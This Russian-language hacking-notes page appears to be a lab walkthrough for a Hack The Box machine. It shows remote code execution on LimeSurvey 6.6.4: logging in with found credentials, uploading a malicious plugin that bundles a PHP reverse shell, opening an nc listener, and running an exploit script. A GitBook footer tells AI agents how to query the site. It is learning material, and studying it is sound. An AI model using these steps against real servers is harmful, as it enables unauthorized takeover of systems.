> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## Уязвимость LimeSurvey CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/5adc455606f247911a412445c6f9d7f9a6f855b9" alt=""><figcaption></figcaption></figure>

#### Доступ к административной панели

Интерфейс администрирования доступен по следующему URL:

`http://take-survey.heal.htb/index.php/admin`

Войдите, используя учётные данные Ральфа:

* **Имя пользователя** : `ralph`
* **Пароль** : `147258369`

<figure><img src="/files/70af5c8c56083e84ebc49a555b4d6c4a38a66870" alt=""><figcaption></figcaption></figure>

Версия LimeSurvey — **6.6.4**, которая уязвима к **Удалённому выполнению кода (RCE)**.

<figure><img src="/files/fe558b138144319872c946d55ce033dc3b61c900" alt="" width="563"><figcaption></figcaption></figure>

### Эксплуатация RCE через вредоносное расширение

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Адаптируйте скрипт эксплуатации под целевую среду.

<figure><img src="/files/f9fdf62b7968377baa27891b740fca6b1bcd2f82" alt=""><figcaption></figcaption></figure>

Сначала создайте архив, содержащий `config.xml` и PHP reverse shell:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/5f5f167065c4dee5c6c6553965d7d3869a00115d" alt=""><figcaption></figcaption></figure>

Затем установите вредоносный плагин через веб-интерфейс LimeSurvey.

<figure><img src="/files/a6137ef18feace4ef10087071a66ba1cdd45b534" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ce2676569549949f051a1a46aba534c13ac1c0c5" alt="" width="501"><figcaption></figcaption></figure>

Наведите курсор на установленный плагин, чтобы определить его ID.

<figure><img src="/files/b56cc03126ed96e6d82ae0916b80c19b1f949f2b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f9dd9ae21b4ac9e5d74a8923b9f535b95bc1a010" alt="" width="563"><figcaption></figcaption></figure>

После обновления скрипта с этим ID запустите прослушиватель на порту 443:

```bash
nc -nlvp 443
```

Наконец, запустите эксплойт с помощью Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/b1c30aac5ca47b66445504c65b4902951afa9c5d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
